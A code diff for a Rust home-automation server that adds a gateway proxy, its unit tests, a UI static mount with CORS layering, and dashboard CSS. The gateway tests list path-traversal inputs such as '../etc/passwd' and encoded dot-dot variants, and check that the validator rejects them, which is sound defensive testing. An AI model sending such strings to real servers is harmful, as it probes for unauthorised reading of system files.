+        .next()?
+        .parse::<f64>()
+        .ok()?;
+    let ncpu = std::thread::available_parallelism().map(|n| n.get() as f64).unwrap_or(1.0);
+    Some(((load / ncpu * 100.0).min(100.0) * 10.0).round() / 10.0)
+}
+
+/// Non-blocking liveness probe: succeeds iff a TCP connection to
+/// `host:port` completes within `timeout`. Async so it never parks a Tokio
+/// worker thread (unlike the blocking `std::net` connect it replaced).
+async fn tcp_open(host: &str, port: u16, timeout: Duration) -> bool {
+    let addr = format!("{host}:{port}");
+    matches!(
+        tokio::time::timeout(timeout, tokio::net::TcpStream::connect(&addr)).await,
+        Ok(Ok(_))
+    )
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use axum::body::Body;
+    use axum::http::Request;
+    use homecore::HomeCore;
+    use homecore_api::{LongLivedTokenStore, SharedState};
+    use tower::ServiceExt;
+
+    fn gw() -> GatewayState {
+        let shared = SharedState::with_tokens(
+            HomeCore::new(),
+            "Test",
+            "test",
+            LongLivedTokenStore::allow_any_non_empty(),
+        );
+        GatewayState::new(
+            shared,
+            GatewayConfig {
+                calibration_url: None,
+                calibration_token: None,
+                apps_dir: PathBuf::from("/nonexistent-apps-dir"),
+                timeout: Duration::from_millis(200),
+            },
+        )
+    }
+
+    async fn send(app: Router, method: &str, path: &str) -> (StatusCode, String) {
+        let resp = app
+            .oneshot(
+                Request::builder()
+                    .method(method)
+                    .uri(path)
+                    .header("authorization", "Bearer dev")
+                    .body(Body::empty())
+                    .unwrap(),
+            )
+            .await
+            .unwrap();
+        let status = resp.status();
+        let b = axum::body::to_bytes(resp.into_body(), 1 << 20).await.unwrap();
+        (status, String::from_utf8_lossy(&b).into_owned())
+    }
+
+    #[tokio::test]
+    async fn unauthenticated_is_rejected() {
+        let app = gateway_router(gw());
+        let resp = app
+            .oneshot(Request::builder().uri("/api/homecore/cogs").body(Body::empty()).unwrap())
+            .await
+            .unwrap();
+        assert_eq!(resp.status(), StatusCode::UNAUTHORIZED);
+    }
+
+    #[tokio::test]
+    async fn cogs_returns_empty_when_apps_dir_missing() {
+        let (status, body) = send(gateway_router(gw()), "GET", "/api/homecore/cogs").await;
+        assert_eq!(status, StatusCode::OK);
+        assert_eq!(body.trim(), "[]");
+    }
+
+    #[tokio::test]
+    async fn rooms_503_when_calibration_unconfigured() {
+        let (status, body) = send(gateway_router(gw()), "GET", "/api/homecore/rooms").await;
+        assert_eq!(status, StatusCode::SERVICE_UNAVAILABLE);
+        assert!(body.contains("upstream_unavailable"));
+    }
+
+    #[tokio::test]
+    async fn seed_tier_routes_are_typed_503() {
+        for p in ["/api/homecore/seeds", "/api/homecore/federation", "/api/homecore/witness", "/api/events"] {
+            let (status, body) = send(gateway_router(gw()), "GET", p).await;
+            assert_eq!(status, StatusCode::SERVICE_UNAVAILABLE, "{p} should be 503");
+            assert!(body.contains("upstream_unavailable"), "{p} typed body");
+        }
+    }
+
+    #[tokio::test]
+    async fn appliance_returns_metrics_json() {
+        let (status, body) = send(gateway_router(gw()), "GET", "/api/homecore/appliance").await;
+        assert_eq!(status, StatusCode::OK);
+        assert!(body.contains("\"services\""));
+        assert!(body.contains("\"ram_pct\""));
+    }
+
+    #[test]
+    fn adapt_room_state_maps_fields_and_preserves_null() {
+        // breathing/heartbeat rename; None → null; anomaly gets a threshold.
+        let cal = json!({
+            "presence": {"kind":"Presence","value":1.0,"confidence":0.9,"label":"occupied"},
+            "posture": {"kind":"Posture","value":2.0,"confidence":0.8,"label":"lying"},
+            "breathing": {"kind":"Breathing","value":12.0,"confidence":0.7,"label":null},
+            "heartbeat": null,
+            "restlessness": {"kind":"Restlessness","value":0.1,"confidence":0.6,"label":null},
+            "anomaly": {"kind":"Anomaly","value":0.2,"confidence":0.5,"label":null},
+            "vetoed": false, "stale": true
+        });
+        let ui = adapt_room_state("bedroom_1", &cal);
+        assert_eq!(ui["room_id"], "bedroom_1");
+        assert_eq!(ui["stale"], true);
+        assert_eq!(ui["presence"]["value"], "occupied");
+        assert_eq!(ui["breathing_bpm"]["value"], 12.0);
+        assert!(ui["heart_bpm"].is_null(), "None heartbeat must map to null (not trained)");
+        // §6 invariant 3: upstream RoomState carries no threshold here, so the
+        // adapter must emit null (withheld) — NOT a fabricated constant.
+        assert!(
+            ui["anomaly"]["threshold"].is_null(),
+            "absent upstream threshold must surface as null, never a hardcoded value"
+        );
+    }
+
+    #[test]
+    fn adapt_room_state_passes_through_real_anomaly_threshold() {
+        // When the upstream RoomState DOES carry a real threshold, it must be
+        // forwarded verbatim (no fabrication, no override).
+        let cal = json!({
+            "anomaly": {"kind":"Anomaly","value":0.2,"confidence":0.5,"threshold":0.73},
+        });
+        let ui = adapt_room_state("bedroom_1", &cal);
+        assert_eq!(ui["anomaly"]["threshold"], 0.73, "real threshold must pass through");
+    }
+
+    #[test]
+    fn validate_proxy_path_allows_legit_v1_paths() {
+        // The only shape the UI sends must pass unchanged.
+        for ok in [
+            "v1/room/state",
+            "v1/calibration/baselines",
+            "v1/enroll/status",
+            "v1/room/state?bank=living_room", // query is split off before this fn
+        ] {
+            // strip any query the caller would have removed; we only validate path
+            let p = ok.split('?').next().unwrap();
+            assert!(validate_proxy_path(p).is_ok(), "{p} should be allowed");
+        }
+    }
+
+    #[test]
+    fn validate_proxy_path_rejects_traversal_variants() {
+        for bad in [
+            "v1/../../x",        // dot-segment traversal
+            "../etc/passwd",     // parent escape
+            "/etc/passwd",       // absolute
+            "v1\\..\\..\\x",     // backslash traversal
+            "..%2f..%2fx",       // encoded slash
+            "%2e%2e/x",          // encoded dot-dot
+            "v1/%2e%2e%2fadmin", // mixed encoded traversal
+            "%252e%252e/x",      // double-encoded (residual %2e after one decode)
+        ] {
+            assert!(validate_proxy_path(bad).is_err(), "{bad} must be rejected");
+        }
+    }
+
+    #[tokio::test]
+    async fn cal_proxy_rejects_traversal_with_400_before_upstream() {
+        // `gw()` has calibration_url=None: a path that reached URL-building
+        // would 503 ("not configured"). A 400 here proves the traversal is
+        // rejected BEFORE any upstream request is even attempted.
+        for (method, path) in [
+            ("GET", "/api/cal/v1/../../x"),
+            ("GET", "/api/cal/..%2f..%2fx"),
+            ("GET", "/api/cal/%2e%2e/x"),
+            ("POST", "/api/cal/v1/../../x"),
+        ] {
+            let (status, body) = send(gateway_router(gw()), method, path).await;
+            assert_eq!(status, StatusCode::BAD_REQUEST, "{method} {path} must be 400");
+            assert!(body.contains("bad_request"), "{method} {path} typed 400 body");
+            assert!(
+                !body.contains("upstream_unavailable"),
+                "{method} {path} must NOT reach the upstream-config branch"
+            );
+        }
+    }
+
+    #[tokio::test]
+    async fn cal_proxy_allows_legit_path_through_to_upstream_config() {
+        // A legitimate v1 path passes validation and then hits the
+        // "not configured" 503 (proving it was NOT blocked as traversal).
+        let (status, body) = send(gateway_router(gw()), "GET", "/api/cal/v1/room/state").await;
+        assert_eq!(status, StatusCode::SERVICE_UNAVAILABLE);
+        assert!(body.contains("upstream_unavailable"), "legit path should reach upstream branch");
+    }
+
+    #[test]
+    fn bank_names_accepts_strings_and_objects() {
+        assert_eq!(bank_names(&json!(["a", "b"])), vec!["a", "b"]);
+        assert_eq!(bank_names(&json!([{"name":"x"}, {"id":"y"}])), vec!["x", "y"]);
+        assert_eq!(bank_names(&json!({"baselines":["z"]})), vec!["z"]);
+    }
+}

v2/crates/homecore-server/src/main.rs

@@ -27,7 +27,7 @@ use tracing::{info, warn};
 
 use homecore::{Context, EntityId, HomeCore, ServiceCall, ServiceError, ServiceName};
 use homecore::service::FnHandler;
-use homecore_api::{router, LongLivedTokenStore, SharedState};
+use homecore_api::{build_cors_layer, router, LongLivedTokenStore, SharedState};
 use homecore_assist::pipeline::default_pipeline;
 use homecore_assist::RegexIntentRecognizer;
 use homecore_automation::AutomationEngine;
@@ -35,6 +35,18 @@ use homecore_hap::{bridge::HapBridge, mdns::HapServiceRecord};
 use homecore_plugins::{InProcessRuntime, PluginRegistry};
 use homecore_recorder::Recorder;
 
+use axum::Router;
+use tower_http::services::ServeDir;
+use tower_http::trace::TraceLayer;
+
+mod gateway;
+use gateway::{GatewayConfig, GatewayState};
+
+/// Compile-time default location of the HOMECORE-UI assets (ADR-131).
+/// Works in dev/CI; the appliance overrides with `--ui-dir` /
+/// `HOMECORE_UI_DIR`.
+const DEFAULT_UI_DIR: &str = concat!(env!("CARGO_MANIFEST_DIR"), "/ui");
+
 #[derive(Parser, Debug, Clone)]
 #[command(name = "homecore-server", version)]
 struct Cli {
@@ -42,6 +54,30 @@ struct Cli {
     #[arg(long, env = "HOMECORE_BIND", default_value = "0.0.0.0:8123")]
     bind: SocketAddr,
 
+    /// Directory of the HOMECORE-UI dashboard assets, served at
+    /// `/homecore` (ADR-131). Empty string disables the UI mount.
+    #[arg(long, env = "HOMECORE_UI_DIR", default_value = DEFAULT_UI_DIR)]
+    ui_dir: String,
+
+    /// Base URL of the calibration service (`wifi-densepose calibrate-serve`),
+    /// reverse-proxied by the BFF gateway at `/api/cal/*` (ADR-131 §11).
+    /// Unset → calibration/room endpoints return a typed 503.
+    #[arg(long, env = "HOMECORE_CALIBRATION_URL")]
+    calibration_url: Option<String>,
+
+    /// Bearer token for the calibration service (held server-side only,
+    /// never exposed to the browser — ADR-131 §11.10).
+    #[arg(long, env = "HOMECORE_CALIBRATION_TOKEN")]
+    calibration_token: Option<String>,
+
+    /// COG install directory the gateway's supervisor reads (ADR-131 §11.6).
+    #[arg(long, env = "HOMECORE_APPS_DIR", default_value = "/var/lib/cognitum/apps")]
+    apps_dir: String,
+
+    /// Per-upstream proxy timeout in milliseconds (ADR-131 §11.1).
+    #[arg(long, env = "HOMECORE_GATEWAY_TIMEOUT_MS", default_value_t = 2000)]
+    gateway_timeout_ms: u64,
+
     /// SQLite recorder DB path. Use `:memory:` for an ephemeral run.
     #[arg(long, env = "HOMECORE_DB", default_value = "sqlite::memory:")]
     db: String,
@@ -174,15 +210,59 @@ async fn main() -> Result<()> {
         env!("CARGO_PKG_VERSION"),
         tokens,
     );
-    let app = router(api_state);
+    // BFF gateway (ADR-131 §11): single-origin aggregation of the
+    // calibration API + SEED/appliance tiers. Shares the same token store
+    // for auth; upstream credentials stay server-side.
+    let gw = GatewayState::new(
+        api_state.clone(),
+        GatewayConfig {
+            calibration_url: cli.calibration_url.clone(),
+            calibration_token: cli.calibration_token.clone(),
+            apps_dir: std::path::PathBuf::from(&cli.apps_dir),
+            timeout: std::time::Duration::from_millis(cli.gateway_timeout_ms),
+        },
+    );
+    // Merge the HA-compat API + UI mount with the BFF gateway, THEN apply the
+    // audited CORS allowlist + request tracing to the WHOLE surface. The
+    // gateway routes (`/api/homecore/*`, `/api/cal/*`) are merged in outside
+    // `router()`'s own layers, so without this outer layer they would have NO
+    // CORS coverage and would not be traced (ADR-131 §11 review). Applying CORS
+    // again to the homecore-api routes is idempotent.
+    let app = build_app(api_state, &cli.ui_dir)
+        .merge(gateway::gateway_router(gw))
+        .layer(build_cors_layer())
+        .layer(TraceLayer::new_for_http());
     let listener = tokio::net::TcpListener::bind(cli.bind).await?;
     info!("HOMECORE-API listening on http://{} (HA-compat /api + /api/websocket)", cli.bind);
+    info!(
+        "HOMECORE BFF gateway active: /api/homecore/* + /api/cal/* (calibration_url={:?})",
+        cli.calibration_url
+    );
+    if !cli.ui_dir.trim().is_empty() {
+        info!("HOMECORE-UI (ADR-131) served at http://{}/homecore/ from {}", cli.bind, cli.ui_dir);
+    } else {
+        info!("HOMECORE-UI mount disabled (--ui-dir empty)");
+    }
 
     // Run forever (until SIGINT). axum::serve handles graceful shutdown.
     axum::serve(listener, app).await?;
     Ok(())
 }
 
+/// Assemble the full HTTP surface: the HA-compat REST + WS router
+/// (ADR-130) plus the HOMECORE-UI static mount at `/homecore` (ADR-131).
+/// Split out from `main` so it is exercised by the integration tests.
+fn build_app(api_state: SharedState, ui_dir: &str) -> Router {
+    let app = router(api_state);
+    if ui_dir.trim().is_empty() {
+        return app;
+    }
+    // ServeDir serves index.html for the directory root, so /homecore/
+    // returns the dashboard and /homecore/js/... /homecore/css/... map
+    // straight onto the asset tree the relative <link>/<script> tags use.
+    app.nest_service("/homecore", ServeDir::new(ui_dir))
+}
+
 fn init_tracing() {
     tracing_subscriber::fmt()
         .with_env_filter(
@@ -304,3 +384,147 @@ fn seed_default_entities(hc: &HomeCore) {
     info!("State machine seeded with {} default entit{}", total,
           if total == 1 { "y" } else { "ies" });
 }
+
+#[cfg(test)]
+mod ui_tests {
+    use super::*;
+    use axum::body::Body;
+    use axum::http::{Request, StatusCode};
+    use homecore::HomeCore;
+    use homecore_api::{LongLivedTokenStore, SharedState};
+    use tower::ServiceExt; // for `oneshot`
+
+    fn test_state() -> SharedState {
+        SharedState::with_tokens(
+            HomeCore::new(),
+            "Test".to_string(),
+            "test",
+            LongLivedTokenStore::allow_any_non_empty(),
+        )
+    }
+
+    async fn get(app: Router, path: &str) -> (StatusCode, String) {
+        let resp = app
+            .oneshot(Request::builder().uri(path).body(Body::empty()).unwrap())
+            .await
+            .unwrap();
+        let status = resp.status();
+        let bytes = axum::body::to_bytes(resp.into_body(), 4 * 1024 * 1024)
+            .await
+            .unwrap();
+        (status, String::from_utf8_lossy(&bytes).into_owned())
+    }
+
+    #[tokio::test]
+    async fn ui_index_is_served_at_homecore() {
+        let app = build_app(test_state(), DEFAULT_UI_DIR);
+        let (status, body) = get(app, "/homecore/").await;
+        assert_eq!(status, StatusCode::OK, "GET /homecore/ should serve index.html");
+        assert!(body.contains("HOMECORE"), "index.html should mention HOMECORE");
+        assert!(body.contains("./js/app.js"), "index.html should bootstrap app.js");
+    }
+
+    #[tokio::test]
+    async fn ui_design_tokens_are_served() {
+        let app = build_app(test_state(), DEFAULT_UI_DIR);
+        let (status, body) = get(app, "/homecore/css/tokens.css").await;
+        assert_eq!(status, StatusCode::OK);
+        // §3.1 invariant: the exact production palette must be present.
+        assert!(body.contains("#4ecdc4"), "--cyan token must be present");
+        assert!(body.contains("--purple"), "--purple token must be present");
+    }
+
+    #[tokio::test]
+    async fn ui_panels_are_served() {
+        let app = build_app(test_state(), DEFAULT_UI_DIR);
+        for p in ["dashboard", "rooms", "calibration", "fleet", "seed-detail",
+                  "entities", "cogs", "events", "audit", "settings"] {
+            let (status, _) = get(app.clone(), &format!("/homecore/js/panels/{p}.js")).await;
+            assert_eq!(status, StatusCode::OK, "panel {p}.js should be served");
+        }
+    }
+
+    #[tokio::test]
+    async fn api_still_works_alongside_ui_mount() {
+        let app = build_app(test_state(), DEFAULT_UI_DIR);
+        // `GET /api/` is auth-gated (HC-API-AUTH-01); send a bearer.
+        let resp = app
+            .oneshot(
+                Request::builder()
+                    .uri("/api/")
+                    .header("authorization", "Bearer dev")
+                    .body(Body::empty())
+                    .unwrap(),
+            )
+            .await
+            .unwrap();
+        let status = resp.status();
+        let bytes = axum::body::to_bytes(resp.into_body(), 1 << 20).await.unwrap();
+        let body = String::from_utf8_lossy(&bytes);
+        assert_eq!(status, StatusCode::OK, "the HA-compat API must coexist with the UI mount");
+        assert!(body.contains("API running"));
+    }
+
+    #[tokio::test]
+    async fn ui_mount_can_be_disabled() {
+        let app = build_app(test_state(), "");
+        let (status, _) = get(app, "/homecore/").await;
+        assert_eq!(status, StatusCode::NOT_FOUND, "empty --ui-dir disables the mount");
+    }
+
+    /// Build the SAME merged + layered surface `main()` serves: API + UI mount
+    /// + BFF gateway, with the audited CORS allowlist + tracing applied to the
+    /// whole thing. Used to prove the gateway routes are CORS-covered.
+    fn full_app(state: SharedState) -> Router {
+        use crate::gateway::{GatewayConfig, GatewayState};
+        let gw = GatewayState::new(
+            state.clone(),
+            GatewayConfig {
+                calibration_url: None,
+                calibration_token: None,
+                apps_dir: std::path::PathBuf::from("/nonexistent-apps-dir"),
+                timeout: std::time::Duration::from_millis(200),
+            },
+        );
+        build_app(state, "")
+            .merge(crate::gateway::gateway_router(gw))
+            .layer(homecore_api::build_cors_layer())
+            .layer(TraceLayer::new_for_http())
+    }
+
+    #[tokio::test]
+    async fn gateway_routes_are_cors_covered_after_merge() {
+        // A CORS preflight from the Vite dev origin must succeed (echo the
+        // allowed origin) for a GATEWAY route — proving the outer CORS layer
+        // covers the merged routes, not just the homecore-api ones.
+        let app = full_app(test_state());
+        let resp = app
+            .oneshot(
+                Request::builder()
+                    .method("OPTIONS")
+                    .uri("/api/homecore/appliance")
+                    .header("origin", "http://localhost:5173")
+                    .header("access-control-request-method", "GET")
+                    .header("access-control-request-headers", "authorization")
+                    .body(Body::empty())
+                    .unwrap(),
+            )
+            .await
+            .unwrap();
+        // CORS preflight handled by the layer → 2xx with the origin echoed back.
+        assert!(
+            resp.status().is_success(),
+            "gateway preflight should succeed, got {}",
+            resp.status()
+        );
+        let allow_origin = resp
+            .headers()
+            .get("access-control-allow-origin")
+            .and_then(|v| v.to_str().ok())
+            .unwrap_or("");
+        assert_eq!(
+            allow_origin, "http://localhost:5173",
+            "gateway route must echo the allowlisted dev origin"
+        );
+    }
+}

v2/crates/homecore-server/ui/css/app.css

@@ -0,0 +1,223 @@
+/*
+ * HOMECORE-UI component styling — ADR-131 §3.3.
+ * Uses only the §3.1 tokens (tokens.css). Polished composition: real
+ * header, icon sidenav, elevated cards, refined metrics/pills/bars.
+ */
+
+* { box-sizing: border-box; }
+
+html, body {
+  margin: 0; padding: 0;
+  background:
+    radial-gradient(1100px 600px at 78% -8%, rgba(78,205,196,0.06), transparent 60%),
+    radial-gradient(900px 500px at 12% 110%, rgba(167,139,250,0.05), transparent 55%),
+    var(--bg);
+  background-attachment: fixed;
+  color: var(--t1);
+  font-family: var(--font);
+  font-size: 14px;
+  line-height: 1.5;
+  -webkit-font-smoothing: antialiased;
+}
+
+.mono { font-family: var(--mono); font-size: 0.92em; }
+.t2 { color: var(--t2); } .t3 { color: var(--t3); }
+.cyan { color: var(--cyan); } .green { color: var(--green); } .amber { color: var(--amber); }
+.red { color: var(--red); } .purple { color: var(--purple); }
+.hidden { display: none !important; }
+
+/* ── top header ─────────────────────────────────────────────────── */
+.topnav {
+  display: flex; align-items: center; gap: 16px;
+  background: rgba(17,22,39,0.85);
+  backdrop-filter: blur(8px);
+  border-bottom: 1px solid var(--border);
+  padding: 0 22px; height: 60px;
+  position: sticky; top: 0; z-index: 30;
+}
+.brand { display: flex; align-items: center; gap: 10px; }
+.brand .logo {
+  display: inline-flex; align-items: center; justify-content: center;
+  width: 30px; height: 30px; border-radius: 8px;
+  background: linear-gradient(135deg, var(--cyan), var(--purple));
+  color: var(--bg); font-weight: 800; font-size: 17px;
+  box-shadow: 0 2px 10px rgba(78,205,196,0.25);
+}
+.brand .brand-name { font-weight: 700; font-size: 16px; letter-spacing: 0.3px; color: var(--t1); }
+.brand .brand-sep { color: var(--t3); font-size: 16px; font-weight: 300; }
+.brand .brand-tag {
+  font-weight: 700; font-size: 12px; letter-spacing: 1px;
+  color: var(--cyan); background: var(--cyan-d);
+  border-radius: 6px; padding: 3px 9px; text-transform: uppercase;
+}
+.nav-spacer { flex: 1; }
+
+/* ── layout ─────────────────────────────────────────────────────── */
+.shell { display: flex; min-height: calc(100vh - 60px); }
+.sidenav {
+  width: 224px; flex-shrink: 0;
+  background: rgba(17,22,39,0.45);
+  border-right: 1px solid var(--border);
+  padding: 16px 12px; display: flex; flex-direction: column; gap: 3px;
+}
+.sidenav a {
+  display: flex; align-items: center; gap: 11px;
+  padding: 9px 12px; border-radius: 9px;
+  color: var(--t2); text-decoration: none; font-size: 13.5px; font-weight: 500;
+  transition: background .12s, color .12s;
+}
+.sidenav a .ico { width: 18px; text-align: center; font-size: 14px; color: var(--t3); }
+.sidenav a:hover { color: var(--t1); background: var(--card); }
+.sidenav a.active { color: var(--cyan); background: var(--cyan-d); }
+.sidenav a.active .ico { color: var(--cyan); }
+.content { flex: 1; padding: 26px 30px; max-width: 1320px; width: 100%; }
+
+@media (max-width: 880px) {
+  .shell { flex-direction: column; }
+  .sidenav { width: 100%; flex-direction: row; overflow-x: auto; padding: 8px; gap: 6px; border-right: none; border-bottom: 1px solid var(--border); }
+  .sidenav a .lbl { white-space: nowrap; }
+  .content { padding: 18px; }
+}
+
+/* ── headings / section header ──────────────────────────────────── */
+h1 { font-size: 23px; margin: 0 0 3px; font-weight: 700; letter-spacing: -0.2px; }
+h2 { font-size: 15px; margin: 0 0 14px; font-weight: 650; color: var(--t1); }
+h3 { font-size: 12px; margin: 0 0 8px; color: var(--t2); font-weight: 600; text-transform: uppercase; letter-spacing: 0.5px; }
+
+.section-header { position: relative; padding: 14px 0 4px; margin-bottom: 20px; border-bottom: 1px solid var(--border); }
+.section-header::before { content: ''; position: absolute; top: 0; left: 0; width: 56px; height: 3px; border-radius: 3px; background: linear-gradient(90deg, var(--cyan), var(--purple)); }
+.section-header .sub { color: var(--t2); font-size: 13px; margin-top: 2px; }
+
+/* ── cards ──────────────────────────────────────────────────────── */
+.card {
+  background: linear-gradient(180deg, rgba(30,37,64,0.35), var(--card));
+  border: 1px solid var(--border);
+  border-radius: var(--r);
+  padding: 20px 22px; margin-bottom: 16px;
+  box-shadow: 0 1px 2px rgba(0,0,0,0.25);
+}
+.card > h2:first-child { margin-bottom: 16px; }
+.card.tint-amber { background: var(--amber-d); border-color: rgba(212,165,116,0.4); }
+.card.tint-red   { background: var(--red-d);   border-color: rgba(224,96,96,0.4); }
+.card.tint-green { background: var(--green-d); border-color: rgba(107,203,119,0.4); }
+.card.clickable { cursor: pointer; transition: transform .12s, border-color .12s, box-shadow .12s; }
+.card.clickable:hover { transform: translateY(-2px); border-color: rgba(78,205,196,0.4); box-shadow: 0 6px 20px rgba(0,0,0,0.35); }
+
+/* ── pills / badges ─────────────────────────────────────────────── */
+.pill {
+  display: inline-flex; align-items: center; gap: 5px;
+  border-radius: 6px; padding: 3px 9px;
+  font-size: 10.5px; font-weight: 700; text-transform: uppercase; letter-spacing: 0.5px;
+  line-height: 1.5; white-space: nowrap;
+}
+.pill::before { content: ''; width: 6px; height: 6px; border-radius: 50%; background: currentColor; opacity: 0.9; }
+.pill.cyan { background: var(--cyan-d); color: var(--cyan); }
+.pill.green { background: var(--green-d); color: var(--green); }
+.pill.amber { background: var(--amber-d); color: var(--amber); }
+.pill.red { background: var(--red-d); color: var(--red); }
+.pill.purple { background: var(--purple-d); color: var(--purple); }
+.pill.grey { background: rgba(80,88,114,0.18); color: var(--t2); }
+.method { border-radius: 5px; padding: 2px 7px; font-size: 10.5px; font-weight: 700; }
+.method.get { background: var(--green-d); color: var(--green); }
+.method.post { background: var(--amber-d); color: var(--amber); }
+.method.auth { background: var(--purple-d); color: var(--purple); }
+
+/* ── buttons ────────────────────────────────────────────────────── */
+.btn { font-family: var(--font); font-size: 12.5px; font-weight: 600; border-radius: 8px; padding: 8px 15px; cursor: pointer; border: none; transition: filter .12s, background .12s, transform .05s; }
+.btn:active { transform: translateY(1px); }
+.btn.primary { background: var(--cyan); color: var(--bg); }
+.btn.primary:hover { filter: brightness(1.1); box-shadow: 0 4px 14px rgba(78,205,196,0.3); }
+.btn.ghost { background: rgba(255,255,255,0.02); border: 1px solid var(--border); color: var(--t1); }
+.btn.ghost:hover { background: var(--card-h); border-color: var(--t3); }
+.btn:disabled { opacity: 0.4; cursor: not-allowed; }
+
+/* ── metric cards ───────────────────────────────────────────────── */
+.metric-grid { display: grid; grid-template-columns: repeat(auto-fill, minmax(160px, 1fr)); gap: 14px; }
+.metric { position: relative; background: var(--card); border: 1px solid var(--border); border-radius: var(--r); padding: 16px 18px; overflow: hidden; }
+.metric::after { content: ''; position: absolute; left: 0; top: 0; bottom: 0; width: 3px; background: var(--cyan); opacity: 0.6; }
+.metric .ico { font-size: 15px; color: var(--t3); }
+.metric .val { font-size: 28px; font-weight: 700; color: var(--cyan); margin: 8px 0 2px; letter-spacing: -0.5px; line-height: 1; }
+.metric .val.green { color: var(--green); }
+.metric .lbl { color: var(--t2); font-size: 11.5px; text-transform: uppercase; letter-spacing: 0.4px; }
+
+/* ── grids ──────────────────────────────────────────────────────── */
+.grid { display: grid; gap: 14px; }
+.grid.cols-2 { grid-template-columns: repeat(auto-fill, minmax(340px, 1fr)); }
+.grid.cols-3 { grid-template-columns: repeat(auto-fill, minmax(270px, 1fr)); }
+
+/* ── bars ───────────────────────────────────────────────────────── */
+.bar { background: rgba(0,0,0,0.3); border-radius: 5px; height: 8px; overflow: hidden; width: 100%; }
+.bar > span { display: block; height: 100%; background: var(--cyan); border-radius: 5px; transition: width .3s; }
+.bar > span.green { background: var(--green); } .bar > span.amber { background: var(--amber); } .bar > span.red { background: var(--red); }
+.conf-bar { display: inline-block; width: 56px; height: 6px; background: rgba(0,0,0,0.3); border-radius: 3px; vertical-align: middle; overflow: hidden; }
+.conf-bar > span { display: block; height: 100%; background: var(--cyan); }
+.conf-bar > span.amber { background: var(--amber); }
+
+/* ── provenance badge ───────────────────────────────────────────── */
+.prov { display: inline-flex; align-items: center; gap: 5px; font-family: var(--mono); font-size: 10.5px; color: var(--t2); background: rgba(0,0,0,0.25); border: 1px solid var(--border); border-radius: 6px; padding: 2px 8px; }
+.prov .arr { color: var(--t3); } .prov .hailo { color: var(--purple); font-weight: 600; }
+
+/* ── rows / kv ──────────────────────────────────────────────────── */
+.row { display: flex; justify-content: space-between; align-items: center; padding: 9px 0; border-bottom: 1px solid var(--border); gap: 12px; }
+.row:last-child { border-bottom: none; }
+.row .k { color: var(--t2); font-size: 12.5px; }
+.row .v { color: var(--t1); }
+.kv { display: grid; grid-template-columns: auto 1fr; gap: 9px 16px; align-items: center; }
+.kv .k { color: var(--t2); font-size: 12.5px; }
+.kv .v { color: var(--t1); }
+
+pre.json, pre.log { font-family: var(--mono); font-size: 12px; background: rgba(0,0,0,0.35); border: 1px solid var(--border); border-radius: 8px; padding: 12px 14px; overflow: auto; max-height: 320px; color: var(--t1); white-space: pre-wrap; word-break: break-word; }
+svg.spark { display: block; }
+
+/* ── banners ────────────────────────────────────────────────────── */
+.banner { border-radius: 9px; padding: 11px 15px; margin-bottom: 14px; font-size: 13px; display: flex; align-items: center; gap: 10px; flex-wrap: wrap; }
+.banner::before { font-weight: 700; }
+.banner.amber { background: var(--amber-d); color: var(--amber); border: 1px solid rgba(212,165,116,0.4); }
+.banner.amber::before { content: '▲'; }
+.banner.red { background: var(--red-d); color: var(--red); border: 1px solid rgba(224,96,96,0.4); }
+.banner.red::before { content: '●'; }
+.banner.green { background: var(--green-d); color: var(--green); border: 1px solid rgba(107,203,119,0.4); }
+.banner.green::before { content: '✓'; }
+
+/* ── lag indicator ──────────────────────────────────────────────── */
+.lag { font-size: 12px; display: inline-flex; align-items: center; gap: 7px; color: var(--t2); }
+.lag .dot { width: 8px; height: 8px; border-radius: 50%; background: var(--green); display: inline-block; box-shadow: 0 0 0 3px var(--green-d); }
+.lag .dot.warn { background: var(--amber); box-shadow: 0 0 0 3px var(--amber-d); }
+.lag .dot.err { background: var(--red); box-shadow: 0 0 0 3px var(--red-d); }
+
+/* ── wizard stepper ─────────────────────────────────────────────── */
+.stepper { display: flex; gap: 10px; margin-bottom: 22px; flex-wrap: wrap; }
+.step-pill { display: flex; align-items: center; gap: 9px; padding: 8px 15px; border-radius: 24px; border: 1px solid var(--border); color: var(--t3); font-size: 12.5px; font-weight: 600; }
+.step-pill .n { width: 22px; height: 22px; border-radius: 50%; background: rgba(0,0,0,0.3); display: inline-flex; align-items: center; justify-content: center; font-weight: 700; font-size: 11px; }
+.step-pill.active { color: var(--cyan); border-color: var(--cyan); background: var(--cyan-d); }
+.step-pill.active .n { background: var(--cyan); color: var(--bg); }
+.step-pill.done { color: var(--green); border-color: rgba(107,203,119,0.4); }
+.step-pill.done .n { background: var(--green); color: var(--bg); }
+
+/* ── slide-over ─────────────────────────────────────────────────── */
+.slideover-back { position: fixed; inset: 0; background: rgba(0,0,0,0.6); z-index: 40; backdrop-filter: blur(2px); }
+.slideover { position: fixed; top: 0; right: 0; bottom: 0; width: 480px; max-width: 92vw; background: var(--card); border-left: 1px solid var(--border); z-index: 41; padding: 26px; overflow-y: auto; box-shadow: -12px 0 40px rgba(0,0,0,0.45); }
+.slideover .close { float: right; cursor: pointer; color: var(--t2); font-size: 16px; }
+.slideover .close:hover { color: var(--t1); }
+
+/* ── inputs ─────────────────────────────────────────────────────── */
+.search { width: 100%; background: rgba(0,0,0,0.25); border: 1px solid var(--border); border-radius: 9px; padding: 10px 13px; color: var(--t1); font-family: var(--font); font-size: 13px; }
+.search::placeholder { color: var(--t3); }
+.search:focus { outline: none; border-color: var(--cyan); box-shadow: 0 0 0 3px var(--cyan-d); }
+input.inline { background: rgba(0,0,0,0.25); border: 1px solid var(--border); border-radius: 6px; padding: 5px 9px; color: var(--t1); font-family: var(--mono); font-size: 12px; width: 92px; }
+input.inline:focus { outline: none; border-color: var(--cyan); }
+select.inline { background: var(--bg2); border: 1px solid var(--border); border-radius: 8px; padding: 7px 10px; color: var(--t1); font-family: var(--font); font-size: 13px; }
+textarea.inline { background: rgba(0,0,0,0.3); border: 1px solid var(--border); border-radius: 8px; padding: 10px; color: var(--t1); font-family: var(--mono); font-size: 12px; width: 100%; }
+
+/* ── collapsible ────────────────────────────────────────────────── */
+.collapsible > .head { cursor: pointer; display: flex; align-items: center; gap: 9px; padding: 4px 0; user-select: none; }
+.collapsible > .head::before { content: '▸'; color: var(--t3); transition: transform .15s; font-size: 11px; }
+.collapsible.open > .head::before { transform: rotate(90deg); }
+.muted-empty { color: var(--t3); font-style: italic; padding: 10px 0; }
+
+.shield.ok { color: var(--green); } .shield.bad { color: var(--red); }
+.flex { display: flex; gap: 10px; align-items: center; }
+.flex.wrap { flex-wrap: wrap; } .spread { justify-content: space-between; } .gap-sm { gap: 6px; }
